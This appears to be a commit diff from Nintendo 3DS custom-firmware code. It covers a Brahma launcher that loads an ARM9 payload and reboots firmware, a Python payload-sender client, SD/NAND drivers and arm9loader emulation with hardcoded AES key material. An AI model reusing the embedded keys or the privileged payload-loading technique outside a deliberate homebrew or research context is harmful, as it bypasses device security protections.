KThread *volatile m_interactingThread; // +01C
u16 m_unknown020; // +020
u16 m_unknown022; // +022
u32 m_unknown024; // +024
u32 m_unknown028; // +028
u32 m_unknown02C; // +02C new to New 3DS
u32 m_unknown030; // +030 new to New 3DS
u32 m_memoryBlockCount; // +034
KLinkedListNode *m_memoryBlockFirst; // +038
KLinkedListNode *m_memoryBlockLast; // +03C
u32 m_unknown040; // +040
u32 m_unknown044; // +044
void *m_translationTableBase; // +048
u8 m_contextID; // +04C
u32 m_unknown050; // +050
void *m_userVirtualMemoryEnd; // +054
void *m_userLinearVirtualBase; // +058
u32 m_unknown05C; // +05C
u32 m_mmuTableSize; // +060
void *m_mmuTableAddress; // +064
u32 m_threadContextPagesSize; // +068
u32 m_threadLocalPageCount; // +06C
KLinkedListNode *m_threadLocalPageFirst; // +070
KLinkedListNode *m_threadLocalPageLast; // +074
u32 m_unknown078; // +078
s32 m_idealProcessor; // +07C
u32 m_unknown080; // +080
void *m_resourceLimits; // +084
u32 m_unknown088; // +088
u32 m_threadCount; // +08C
u8 m_svcAccessControl[0x80 / 8]; // +090
u32 m_interruptFlags[0x80 / 32]; // +0A0
u32 m_kernelFlags; // +0B0
u16 m_handleTableSize; // +0B4
u16 m_kernelReleaseVersion; // +0B6
KCodeSet *m_codeSet; // +0B8
u32 m_processID; // +0BC
u32 m_unknown0C0; // +0C0
u32 m_unknown0C4; // +0C4
KThread *m_mainThread; // +0C8
//...more...
};
static_assert(offsetof(KProcess_8_0_0_New, m_svcAccessControl) == 0x090,
"KProcess_8_0_0_New isn't the expected layout.");
//------------------------------------------------------------------------------------------------
// Done using illegal offsetof
#pragma GCC diagnostic pop
}

View File

@ -1,30 +0,0 @@
#include <3ds.h>
#include <stdio.h>
#include <stdlib.h>
#include "brahma.h"
#include "hid.h"
#ifndef LAUNCHER_PATH
#define LAUNCHER_PATH "Cakes.dat"
#endif
int main (void) {
if (brahma_init()) {
if (load_arm9_payload_offset("/" LAUNCHER_PATH, 0x12000, 0x10000) != 1)
goto error;
firm_reboot();
brahma_exit();
}
// Return to hbmenu
return 0;
error:
gfxInitDefault();
consoleInit(GFX_BOTTOM, NULL);
printf("An error occurred while loading the payload.\nMake sure your launcher is located at:\n/" LAUNCHER_PATH);
wait_any_key();
gfxExit();
return 1;
}

View File

@ -1,38 +0,0 @@
.arm
.align 4
.code 32
.text
.global InvalidateEntireInstructionCache
.type InvalidateEntireInstructionCache, %function
InvalidateEntireInstructionCache:
mov r0, #0
mcr p15, 0, r0, c7, c5, 0
bx lr
.global CleanEntireDataCache
.type CleanEntireDataCache, %function
CleanEntireDataCache:
mov r0, #0
mcr p15, 0, r0, c7, c10, 0
bx lr
.global dsb
.type dsb, %function
dsb:
mov r0, #0
mcr p15, 0, r0, c7, c10, 4
bx lr
.global DisableInterrupts
.type DisableInterrupts, %function
DisableInterrupts:
mrs r0, cpsr
CPSID I
bx lr
.global EnableInterrupts
.type EnableInterrupts, %function
EnableInterrupts:
msr cpsr_cx, r0
bx lr

View File

@ -1,22 +0,0 @@
#!/usr/bin/python
import socket
import sys
if len(sys.argv) < 3:
print "python client.py <ip> <file>\n"
sys.exit(0)
port = 80
host = sys.argv[1]
pfile = sys.argv[2]
f = open(pfile, "rb")
buf = f.read()
f.close()
s = socket.socket()
s.connect((host, port))
sent = s.send(buf)
print "Sent %d bytes\n" % sent
s.close()

View File

@ -357,113 +357,42 @@ int rsa_verify(const void* data, u32 size, const void* sig, u32 mode)
* Nand/FIRM Crypto stuff
****************************************************************/
//Get Nand CTR key
void getNandCTR(u8 *buf) {
u8 *addr = (u8*)0x080D8BBC;
u8 keyLen = 0x10; //CTR length
addr += 0x0F;
while (keyLen --) { *(buf++) = *(addr--); }
}
//Read firm0 from NAND and write to buffer
void nandFirm0(u8 *outbuf, const u32 size){
u8 CTR[0x10];
getNandCTR(CTR);
aes_advctr(CTR, 0x0B130000/0x10, AES_INPUT_BE | AES_INPUT_NORMAL);
sdmmc_nand_readsectors(0x0B130000 / 0x200, size / 0x200, outbuf);
aes_use_keyslot(0x06);
aes(outbuf, outbuf, size / AES_BLOCK_SIZE, CTR, AES_CTR_MODE, AES_INPUT_BE | AES_INPUT_NORMAL);
}
//Emulates the Arm9loader process
//9.5.0 = 0x0F
//9.6.0 = 0x18
void arm9loader(void *armHdr, u32 kversion){
void arm9loader(void *armHdr){
//Set Nand key#2 here (decrypted from 0x12C10)
u8 key2[0x10] = {0x42, 0x3F, 0x81, 0x7A, 0x23, 0x52, 0x58, 0x31, 0x6E, 0x75, 0x8E, 0x3A, 0x39, 0x43, 0x2E, 0xD0};
u8 keyX[0x10];
u8 keyY[0x10];
u8 CTR[0x10];
u32 slot = (kversion >= 0x0F ? 0x16 : 0x15);
u32 slot = 0x16;
//Setupkeys needed for arm9bin decryption
memcpy(keyY, armHdr+0x10, 0x10);
memcpy(CTR, armHdr+0x20, 0x10);
u32 size = atoi(armHdr+0x30);
memcpy((u8*)keyY, (void *)((uintptr_t)armHdr+0x10), 0x10);
memcpy((u8*)CTR, (void *)((uintptr_t)armHdr+0x20), 0x10);
u32 size = atoi((void *)((uintptr_t)armHdr+0x30));
if(kversion >= 0x0F){
if(kversion >= 0x18) aes_setkey(0x11, key2, AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL);
aes_use_keyslot(0x11);
aes(keyX, armHdr+0x60, 1, NULL, AES_ECB_DECRYPT_MODE, 0);
aes_setkey(slot, keyX, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
}
//Set 0x11 to key2 for the arm9bin and misc keys
aes_setkey(0x11, (u8*)key2, AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL);
aes_use_keyslot(0x11);
aes_setkey(slot, keyY, AES_KEYY, AES_INPUT_BE | AES_INPUT_NORMAL);
aes_setiv(CTR, AES_INPUT_BE | AES_INPUT_NORMAL);
//Set 0x16 keyX, keyY and CTR
aes((u8*)keyX, (void *)((uintptr_t)armHdr+0x60), 1, NULL, AES_ECB_DECRYPT_MODE, 0);
aes_setkey(slot, (u8*)keyX, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
aes_setkey(slot, (u8*)keyY, AES_KEYY, AES_INPUT_BE | AES_INPUT_NORMAL);
aes_setiv((u8*)CTR, AES_INPUT_BE | AES_INPUT_NORMAL);
aes_use_keyslot(slot);
aes(armHdr+0x800, armHdr+0x800, size/AES_BLOCK_SIZE, CTR, AES_CTR_MODE, AES_INPUT_BE | AES_INPUT_NORMAL);
}
//Decrypt arm9bin
aes((void *)(armHdr+0x800), (void *)(armHdr+0x800), size/AES_BLOCK_SIZE, CTR, AES_CTR_MODE, AES_INPUT_BE | AES_INPUT_NORMAL);
void setKeys(kversion){
u8 key2[0x10] = {0x42, 0x3F, 0x81, 0x7A, 0x23, 0x52, 0x58, 0x31, 0x6E, 0x75, 0x8E, 0x3A, 0x39, 0x43, 0x2E, 0xD0};
//Initialze keys
if(kversion >= 0x18){
u8 keyX18[16] = {0x82, 0xE9, 0xC9, 0xBE, 0xBF, 0xB8, 0xBD, 0xB8, 0x75, 0xEC, 0xC0, 0xA0, 0x7D, 0x47, 0x43, 0x74};
u8 keyX19[16] = {0xF5, 0x36, 0x7F, 0xCE, 0x73, 0x14, 0x2E, 0x66, 0xED, 0x13, 0x91, 0x79, 0x14, 0xB7, 0xF2, 0xEF};
u8 keyX1A[16] = {0xEA, 0xBA, 0x98, 0x4C, 0x9C, 0xB7, 0x66, 0xD4, 0xA3, 0xA7, 0xE9, 0x74, 0xE2, 0xE7, 0x13, 0xA3};
u8 keyX1B[16] = {0x45, 0xAD, 0x04, 0x95, 0x39, 0x92, 0xC7, 0xC8, 0x93, 0x72, 0x4A, 0x9A, 0x7B, 0xCE, 0x61, 0x82};
u8 keyX1C[16] = {0xC3, 0x83, 0x0F, 0x81, 0x56, 0xE3, 0x54, 0x3B, 0x72, 0x3F, 0x0B, 0xC0, 0x46, 0x74, 0x1E, 0x8F};
u8 keyX1D[16] = {0xD6, 0xB3, 0x8B, 0xC7, 0x59, 0x41, 0x75, 0x96, 0xD6, 0x19, 0xD6, 0x02, 0x9D, 0x13, 0xE0, 0xD8};
u8 keyX1E[16] = {0xBB, 0x62, 0x3A, 0x97, 0xDD, 0xD7, 0x93, 0xD7, 0x57, 0xC4, 0x10, 0x4B, 0x8D, 0x9F, 0xB9, 0x69};
u8 keyX1F[16] = {0x4C, 0x28, 0xEC, 0x6E, 0xFF, 0xA3, 0xC2, 0x36, 0x46, 0x07, 0x8B, 0xBA, 0x35, 0x0C, 0x79, 0x95};
aes_setkey(0x18, keyX18, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
aes_setkey(0x19, keyX19, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
aes_setkey(0x1A, keyX19, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
aes_setkey(0x1B, keyX1B, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
aes_setkey(0x1C, keyX1C, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
aes_setkey(0x1D, keyX1D, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
aes_setkey(0x1E, keyX1E, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
aes_setkey(0x1F, keyX1F, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
/*
//data at armHdr+0x8A804 (its not in FCRAM for whatever reason)
u8 encryptedData1[0x10] = {
0xA4, 0x8D, 0xE4, 0xF1, 0x0B, 0x36, 0x44, 0xAA, 0x90, 0x31, 0x28, 0xFF,
0x4D, 0xCA, 0x76, 0xDF
};
//data at armHdr+0x8A814 (its not in FCRAM for whatever reason)
u8 encryptedData2[0x10] = {
0xDD, 0xDA, 0xA4, 0xC6, 0x2C, 0xC4, 0x50, 0xE9, 0xDA, 0xB6, 0x9B, 0x0D,
0x9D, 0x2A, 0x21, 0x98
};
//Set key 0x18 keyX
u8 keyX18[0x10];
aes(keyX18, encryptedData1, 1, NULL, AES_ECB_DECRYPT_MODE, 0);
aes_setkey(0x18, keyX18, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
//Set key 0x11 normalkey
aes_setkey(0x11, key2, AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL);
aes_use_keyslot(0x11);
//Set keys 0x19..0x1F keyXs
u8 keyTemp[0x10];
u8 keys[7][0x10];
aes_use_keyslot(0x11);
int i; for(i = 0; i < 7; i++) {
aes(keyTemp, encryptedData2, 1, NULL, AES_ECB_DECRYPT_MODE, 0);
encryptedData2[0x0F]++;
memcpy(keys[i], keyTemp, 0x10);
}
aes_setkey(0x19, keys[0], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
aes_setkey(0x1A, keys[1], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
aes_setkey(0x1B, keys[2], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
aes_setkey(0x1C, keys[3], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
aes_setkey(0x1D, keys[4], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
aes_setkey(0x1E, keys[5], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
aes_setkey(0x1F, keys[6], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);*/
//Set keys 0x19..0x1F keyXs
u8* decKey = (void *)((uintptr_t)armHdr+0x8A824);
aes_use_keyslot(0x11);
for(slot = 0x19; slot < 0x20; slot++) {
aes_setkey(0x11, (u8*)key2, AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL);
aes(decKey, (void *)((uintptr_t)armHdr+0x8A814), 1, NULL, AES_ECB_DECRYPT_MODE, 0);
aes_setkey(slot, (u8*)decKey, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
*(u8 *)((void *)((uintptr_t)armHdr+0x8A814+0xF)) += 1;
}
}

View File

@ -131,9 +131,6 @@ void rsa_use_keyslot(u32 keyslot);
int rsa_verify(const void* data, u32 size, const void* sig, u32 mode);
//NAND/FIRM stuff
void getNandCTR(u8 *buf);
void nandFirm0(u8 *outbuf, const u32 size);
void arm9loader(void *armHdr, u32 kversion);
void setKeys(kversion);
void arm9loader(void *armHdr);
#endif /*__CRYPTO_H*/

View File

@ -17,4 +17,5 @@ void clearScreen(void){
void loadSplash(void){
clearScreen();
fileRead(fb->top_left, "/rei/splash.bin", 0x46500);
unsigned i,t; for(t=120;t>0;t--){for(i=0xFFFF;i>0;i--);}; //Ghetto sleep func
}

View File

@ -16,11 +16,11 @@
/*-----------------------------------------------------------------------*/
DSTATUS disk_status (
__attribute__((unused))
BYTE pdrv /* Physical drive nmuber to identify the drive */
__attribute__((unused))
BYTE pdrv /* Physical drive nmuber to identify the drive */
)
{
return RES_OK;
return RES_OK;
}
@ -31,10 +31,10 @@ DSTATUS disk_status (
DSTATUS disk_initialize (
__attribute__((unused))
BYTE pdrv /* Physical drive nmuber to identify the drive */
BYTE pdrv /* Physical drive nmuber to identify the drive */
)
{
sdmmc_sdcard_init();
sdmmc_sdcard_init();
return RES_OK;
}
@ -46,15 +46,15 @@ DSTATUS disk_initialize (
DRESULT disk_read (
__attribute__((unused))
BYTE pdrv, /* Physical drive nmuber to identify the drive */
BYTE pdrv, /* Physical drive nmuber to identify the drive */
BYTE *buff, /* Data buffer to store read data */
DWORD sector, /* Sector address in LBA */
UINT count /* Number of sectors to read */
)
{
if (sdmmc_sdcard_readsectors(sector, count, buff)) {
return RES_PARERR;
}
if (sdmmc_sdcard_readsectors(sector, count, buff)) {
return RES_PARERR;
}
return RES_OK;
}
@ -67,33 +67,34 @@ DRESULT disk_read (
#if _USE_WRITE
DRESULT disk_write (
__attribute__((unused))
__attribute__((unused))
BYTE pdrv, /* Physical drive nmuber to identify the drive */
const BYTE *buff, /* Data to be written */
DWORD sector, /* Sector address in LBA */
UINT count /* Number of sectors to write */
)
{
if (sdmmc_sdcard_writesectors(sector, count, (BYTE *)buff)) {
return RES_PARERR;
}
if (sdmmc_sdcard_writesectors(sector, count, (BYTE *)buff)) {
return RES_PARERR;
}
return RES_OK;
}
#endif
/*-----------------------------------------------------------------------*/
/* Miscellaneous Functions */
/*-----------------------------------------------------------------------*/
#if _USE_IOCTL
DRESULT disk_ioctl (
__attribute__((unused))
__attribute__((unused))
BYTE pdrv, /* Physical drive nmuber (0..) */
__attribute__((unused))
__attribute__((unused))
BYTE cmd, /* Control code */
__attribute__((unused))
__attribute__((unused))
void *buff /* Buffer to send/receive control data */
)
{

View File

@ -23,7 +23,7 @@
/ and optional writing functions as well. */
#define _FS_MINIMIZE 1
#define _FS_MINIMIZE 0
/* This option defines minimization level to remove some basic API functions.
/
/ 0: All basic functions are enabled.

View File

@ -1,17 +1,15 @@
// Copyright 2014 Normmatt
// Licensed under GPLv2 or any later version
// Refer to the license.txt file included.
.arm
.global ioDelay
.type ioDelay STT_FUNC
.global waitcycles
.type waitcycles STT_FUNC
@ioDelay ( u32 us )
ioDelay:
ldr r1, =0x18000000 @ VRAM
1:
@ Loop doing uncached reads from VRAM to make loop timing more reliable
ldr r2, [r1]
subs r0, #1
bgt 1b
bx lr
@waitcycles ( u32 us )
waitcycles:
PUSH {R0-R2,LR}
STR R0, [SP,#4]
waitcycles_loop:
LDR R3, [SP,#4]
SUBS R2, R3, #1
STR R2, [SP,#4]
CMP R3, #0
BNE waitcycles_loop
POP {R0-R2,PC}

View File

@ -1,467 +1,616 @@
// Copyright 2014 Normmatt
// Licensed under GPLv2 or any later version
// Refer to the license.txt file included.
/*
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this file,
* You can obtain one at http://mozilla.org/MPL/2.0/.
*
* Copyright (c) 2014, Normmatt
*
* Alternatively, the contents of this file may be used under the terms
* of the GNU General Public License Version 2, as described below:
*
* This file is free software: you may copy, redistribute and/or modify
* it under the terms of the GNU General Public License as published by the
* Free Software Foundation, either version 2 of the License, or (at your
* option) any later version.
*
* This file is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
* Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see http://www.gnu.org/licenses/.
*/
#include "common.h"
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <inttypes.h>
#include <malloc.h>
#include <stdio.h>
#include <unistd.h>
#include <dirent.h>
#include <errno.h>
#include "sdmmc.h"
#include "delay.h"
//#include "DrawCharacter.h"
//Uncomment to enable 32bit fifo support?
//not currently working
//#define DATA32_SUPPORT
#define DATA32_SUPPORT
static struct mmcdevice handleNAND;
static struct mmcdevice handleSD;
#define TRUE 1
#define FALSE 0
#define bool int
#define NO_INLINE __attribute__ ((noinline))
#define RGB(r,g,b) (r<<24|b<<16|g<<8|r)
#ifdef __cplusplus
extern "C" {
#endif
void waitcycles(uint32_t val);
#ifdef __cplusplus
};
#endif
//#define DEBUG_SDMMC
#ifdef DEBUG_SDMMC
extern uint8_t* topScreen;
extern void DrawHexWithName(unsigned char *screen, const char *str, unsigned int hex, int x, int y, int color, int bgcolor);
#define DEBUGPRINT(scr,str,hex,x,y,color,bg) DrawHexWithName(scr,str,hex,x,y,color,bg)
#else
#define DEBUGPRINT(...)
#endif
//extern "C" void sdmmc_send_command(struct mmcdevice *ctx, uint32_t cmd, uint32_t args);
//extern "C" void inittarget(struct mmcdevice *ctx);
//extern "C" int SD_Init();
//extern "C" int SD_Init2();
//extern "C" int Nand_Init2();
//extern "C" void InitSD();
struct mmcdevice handelNAND;
struct mmcdevice handelSD;
mmcdevice *getMMCDevice(int drive)
{
if(drive==0) return &handleNAND;
return &handleSD;
if(drive==0) return &handelNAND;
return &handelSD;
}
int __attribute__((noinline)) geterror(struct mmcdevice *ctx)
int geterror(struct mmcdevice *ctx)
{
//if(ctx->error == 0x4) return -1;
//else return 0;
return (ctx->error << 29) >> 31;
return (ctx->error << 29) >> 31;
}
void __attribute__((noinline)) inittarget(struct mmcdevice *ctx)
void inittarget(struct mmcdevice *ctx)
{
sdmmc_mask16(REG_SDPORTSEL,0x3,(u16)ctx->devicenumber);
setckl(ctx->clk);
if (ctx->SDOPT == 0) {
sdmmc_mask16(REG_SDOPT, 0, 0x8000);
} else {
sdmmc_mask16(REG_SDOPT, 0x8000, 0);
}
sdmmc_mask16(REG_SDPORTSEL,0x3,(uint16_t)ctx->devicenumber);
setckl(ctx->clk);
if(ctx->SDOPT == 0)
{
sdmmc_mask16(REG_SDOPT,0,0x8000);
}
else
{
sdmmc_mask16(REG_SDOPT,0x8000,0);
}
}
void __attribute__((noinline)) sdmmc_send_command(struct mmcdevice *ctx, u32 cmd, u32 args)
void NO_INLINE sdmmc_send_command(struct mmcdevice *ctx, uint32_t cmd, uint32_t args)
{
bool getSDRESP = (cmd << 15) >> 31;
u16 flags = (cmd << 15) >> 31;
const bool readdata = cmd & 0x20000;
const bool writedata = cmd & 0x40000;
bool getSDRESP = (cmd << 15) >> 31;
uint16_t flags = (cmd << 15) >> 31;
const bool readdata = cmd & 0x20000;
const bool writedata = cmd & 0x40000;
if (readdata || writedata)
flags |= TMIO_STAT0_DATAEND;
ctx->error = 0;
while (sdmmc_read16(REG_SDSTATUS1) & TMIO_STAT1_CMD_BUSY); //mmc working?
sdmmc_write16(REG_SDIRMASK0,0);
sdmmc_write16(REG_SDIRMASK1,0);
sdmmc_write16(REG_SDSTATUS0,0);
sdmmc_write16(REG_SDSTATUS1,0);
if(readdata || writedata)
{
flags |= TMIO_STAT0_DATAEND;
}
ctx->error = 0;
while((sdmmc_read16(REG_SDSTATUS1) & TMIO_STAT1_CMD_BUSY)); //mmc working?
sdmmc_write16(REG_SDIRMASK0,0);
sdmmc_write16(REG_SDIRMASK1,0);
sdmmc_write16(REG_SDSTATUS0,0);
sdmmc_write16(REG_SDSTATUS1,0);
#ifdef DATA32_SUPPORT
if (readdata)
sdmmc_mask16(REG_SDDATACTL32, 0x1000, 0x800);
if (writedata)
sdmmc_mask16(REG_SDDATACTL32, 0x800, 0x1000);
// if(readdata)sdmmc_mask16(REG_DATACTL32, 0x1000, 0x800);
// if(writedata)sdmmc_mask16(REG_DATACTL32, 0x800, 0x1000);
// sdmmc_mask16(REG_DATACTL32,0x1800,2);
#else
sdmmc_mask16(REG_SDDATACTL32,0x1800,0);
sdmmc_mask16(REG_DATACTL32,0x1800,0);
#endif
sdmmc_write16(REG_SDCMDARG0,args &0xFFFF);
sdmmc_write16(REG_SDCMDARG1,args >> 16);
sdmmc_write16(REG_SDCMD,cmd &0xFFFF);
sdmmc_write16(REG_SDCMDARG0,args &0xFFFF);
sdmmc_write16(REG_SDCMDARG1,args >> 16);
sdmmc_write16(REG_SDCMD,cmd &0xFFFF);
uint32_t size = ctx->size;
uint16_t *dataPtr = (uint16_t*)ctx->data;
uint32_t *dataPtr32 = (uint32_t*)ctx->data;
u32 size = ctx->size;
u16 *dataPtr = (u16*)ctx->data;
bool useBuf = ( NULL != dataPtr );
bool useBuf32 = (useBuf && (0 == (3 & ((uint32_t)dataPtr))));
uint16_t status0 = 0;
while(1)
{
volatile uint16_t status1 = sdmmc_read16(REG_SDSTATUS1);
#ifdef DATA32_SUPPORT
u32 *dataPtr32 = (u32*)ctx->data;
#endif
bool useBuf = ( NULL != dataPtr );
#ifdef DATA32_SUPPORT
bool useBuf32 = (useBuf && (0 == (3 & ((u32)dataPtr))));
#endif
u16 status0 = 0;
while(true) {
u16 status1 = sdmmc_read16(REG_SDSTATUS1);
if (status1 & TMIO_STAT1_RXRDY) {
if (readdata && useBuf) {
sdmmc_mask16(REG_SDSTATUS1, TMIO_STAT1_RXRDY, 0);
//sdmmc_write16(REG_SDSTATUS1,~TMIO_STAT1_RXRDY);
if (size > 0x1FF) {
#ifdef DATA32_SUPPORT
if (useBuf32) {
for(int i = 0; i<0x200; i+=4)
*dataPtr32++ = sdmmc_read32(REG_SDFIFO32);
} else {
#endif
for(int i = 0; i<0x200; i+=2)
*dataPtr++ = sdmmc_read16(REG_SDFIFO);
#ifdef DATA32_SUPPORT
}
#endif
size -= 0x200;
}
}
}
if (status1 & TMIO_STAT1_TXRQ) {
if (writedata && useBuf) {
sdmmc_mask16(REG_SDSTATUS1, TMIO_STAT1_TXRQ, 0);
//sdmmc_write16(REG_SDSTATUS1,~TMIO_STAT1_TXRQ);
if (size > 0x1FF) {
#ifdef DATA32_SUPPORT
for (int i = 0; i<0x200; i+=4)
sdmmc_write32(REG_SDFIFO32,*dataPtr32++);
volatile uint16_t ctl32 = sdmmc_read16(REG_DATACTL32);
if((ctl32 & 0x100))
#else
for (int i = 0; i<0x200; i+=2)
sdmmc_write16(REG_SDFIFO,*dataPtr++);
if((status1 & TMIO_STAT1_RXRDY))
#endif
size -= 0x200;
}
}
}
if (status1 & TMIO_MASK_GW) {
ctx->error |= 4;
break;
}
if (!(status1 & TMIO_STAT1_CMD_BUSY)) {
status0 = sdmmc_read16(REG_SDSTATUS0);
if (sdmmc_read16(REG_SDSTATUS0) & TMIO_STAT0_CMDRESPEND)
ctx->error |= 0x1;
if (status0 & TMIO_STAT0_DATAEND)
ctx->error |= 0x2;
if ((status0 & flags) == flags)
break;
}
}
ctx->stat0 = sdmmc_read16(REG_SDSTATUS0);
ctx->stat1 = sdmmc_read16(REG_SDSTATUS1);
sdmmc_write16(REG_SDSTATUS0,0);
sdmmc_write16(REG_SDSTATUS1,0);
if (getSDRESP != 0) {
ctx->ret[0] = sdmmc_read16(REG_SDRESP0) | (sdmmc_read16(REG_SDRESP1) << 16);
ctx->ret[1] = sdmmc_read16(REG_SDRESP2) | (sdmmc_read16(REG_SDRESP3) << 16);
ctx->ret[2] = sdmmc_read16(REG_SDRESP4) | (sdmmc_read16(REG_SDRESP5) << 16);
ctx->ret[3] = sdmmc_read16(REG_SDRESP6) | (sdmmc_read16(REG_SDRESP7) << 16);
}
}
int __attribute__((noinline)) sdmmc_sdcard_writesectors(u32 sector_no, u32 numsectors, u8 *in)
{
if (handleSD.isSDHC == 0)
sector_no <<= 9;
inittarget(&handleSD);
sdmmc_write16(REG_SDSTOP,0x100);
{
if(readdata)
{
if(useBuf)
{
sdmmc_mask16(REG_SDSTATUS1, TMIO_STAT1_RXRDY, 0);
//sdmmc_write16(REG_SDSTATUS1,~TMIO_STAT1_RXRDY);
if(size > 0x1FF)
{
#ifdef DATA32_SUPPORT
if(useBuf32)
{
for(int i = 0; i<0x200; i+=4)
{
*dataPtr32++ = sdmmc_read32(REG_SDFIFO32);
}
}
else
{
#endif
for(int i = 0; i<0x200; i+=2)
{
*dataPtr++ = sdmmc_read16(REG_SDFIFO);
}
#ifdef DATA32_SUPPORT
}
#endif
size -= 0x200;
}
}
sdmmc_mask16(REG_DATACTL32, 0x800, 0);
}
}
#ifdef DATA32_SUPPORT
sdmmc_write16(REG_SDBLKCOUNT32,numsectors);
#endif
sdmmc_write16(REG_SDBLKCOUNT,numsectors);
handleSD.data = in;
handleSD.size = numsectors << 9;
sdmmc_send_command(&handleSD,0x52C19,sector_no);
return geterror(&handleSD);
}
int __attribute__((noinline)) sdmmc_sdcard_readsectors(u32 sector_no, u32 numsectors, u8 *out)
{
if (handleSD.isSDHC == 0)
sector_no <<= 9;
inittarget(&handleSD);
sdmmc_write16(REG_SDSTOP,0x100);
#ifdef DATA32_SUPPORT
sdmmc_write16(REG_SDBLKCOUNT32,numsectors);
sdmmc_write16(REG_SDBLKLEN32,0x200);
#endif
sdmmc_write16(REG_SDBLKCOUNT,numsectors);
handleSD.data = out;
handleSD.size = numsectors << 9;
sdmmc_send_command(&handleSD,0x33C12,sector_no);
return geterror(&handleSD);
}
int __attribute__((noinline)) sdmmc_nand_readsectors(u32 sector_no, u32 numsectors, u8 *out)
{
if (handleNAND.isSDHC == 0)
sector_no <<= 9;
inittarget(&handleNAND);
sdmmc_write16(REG_SDSTOP,0x100);
#ifdef DATA32_SUPPORT
sdmmc_write32(REG_SDBLKCOUNT32,numsectors);
if(!(ctl32 & 0x200))
#else
sdmmc_write16(REG_SDBLKCOUNT,numsectors);
if((status1 & TMIO_STAT1_TXRQ))
#endif
{
if(writedata)
{
if(useBuf)
{
sdmmc_mask16(REG_SDSTATUS1, TMIO_STAT1_TXRQ, 0);
//sdmmc_write16(REG_SDSTATUS1,~TMIO_STAT1_TXRQ);
if(size > 0x1FF)
{
#ifdef DATA32_SUPPORT
for(int i = 0; i<0x200; i+=4)
{
sdmmc_write32(REG_SDFIFO32,*dataPtr32++);
}
#else
for(int i = 0; i<0x200; i+=2)
{
sdmmc_write16(REG_SDFIFO,*dataPtr++);
}
#endif
size -= 0x200;
}
}
handleNAND.data = out;
handleNAND.size = numsectors << 9;
sdmmc_send_command(&handleNAND,0x33C12,sector_no);
inittarget(&handleSD);
return geterror(&handleNAND);
sdmmc_mask16(REG_DATACTL32, 0x1000, 0);
}
}
if(status1 & TMIO_MASK_GW)
{
ctx->error |= 4;
break;
}
if(!(status1 & TMIO_STAT1_CMD_BUSY))
{
status0 = sdmmc_read16(REG_SDSTATUS0);
if(sdmmc_read16(REG_SDSTATUS0) & TMIO_STAT0_CMDRESPEND)
{
ctx->error |= 0x1;
}
if(status0 & TMIO_STAT0_DATAEND)
{
ctx->error |= 0x2;
}
if((status0 & flags) == flags)
break;
}
}
ctx->stat0 = sdmmc_read16(REG_SDSTATUS0);
ctx->stat1 = sdmmc_read16(REG_SDSTATUS1);
sdmmc_write16(REG_SDSTATUS0,0);
sdmmc_write16(REG_SDSTATUS1,0);
if(getSDRESP != 0)
{
ctx->ret[0] = sdmmc_read16(REG_SDRESP0) | (sdmmc_read16(REG_SDRESP1) << 16);
ctx->ret[1] = sdmmc_read16(REG_SDRESP2) | (sdmmc_read16(REG_SDRESP3) << 16);
ctx->ret[2] = sdmmc_read16(REG_SDRESP4) | (sdmmc_read16(REG_SDRESP5) << 16);
ctx->ret[3] = sdmmc_read16(REG_SDRESP6) | (sdmmc_read16(REG_SDRESP7) << 16);
}
}
int __attribute__((noinline)) sdmmc_nand_writesectors(u32 sector_no, u32 numsectors, u8 *in) //experimental
int NO_INLINE sdmmc_sdcard_writesectors(uint32_t sector_no, uint32_t numsectors, uint8_t *in)
{
if (handleNAND.isSDHC == 0)
sector_no <<= 9;
inittarget(&handleNAND);
sdmmc_write16(REG_SDSTOP,0x100);
if(handelSD.isSDHC == 0) sector_no <<= 9;
inittarget(&handelSD);
sdmmc_write16(REG_SDSTOP,0x100);
#ifdef DATA32_SUPPORT
sdmmc_write32(REG_SDBLKCOUNT32,numsectors);
#else
sdmmc_write16(REG_SDBLKCOUNT,numsectors);
sdmmc_write16(REG_SDBLKCOUNT32,numsectors);
sdmmc_write16(REG_SDBLKLEN32,0x200);
#endif
handleNAND.data = in;
handleNAND.size = numsectors << 9;
sdmmc_send_command(&handleNAND,0x52C19,sector_no);
inittarget(&handleSD);
return geterror(&handleNAND);
sdmmc_write16(REG_SDBLKCOUNT,numsectors);
handelSD.data = in;
handelSD.size = numsectors << 9;
sdmmc_send_command(&handelSD,0x52C19,sector_no);
return geterror(&handelSD);
}
u32 calcSDSize(u8* csd, int type)
int NO_INLINE sdmmc_sdcard_readsectors(uint32_t sector_no, uint32_t numsectors, uint8_t *out)
{
u32 result = 0;
u8 temp = csd[0xE];
//int temp3 = type;
if(handelSD.isSDHC == 0) sector_no <<= 9;
inittarget(&handelSD);
sdmmc_write16(REG_SDSTOP,0x100);
#ifdef DATA32_SUPPORT
sdmmc_write16(REG_SDBLKCOUNT32,numsectors);
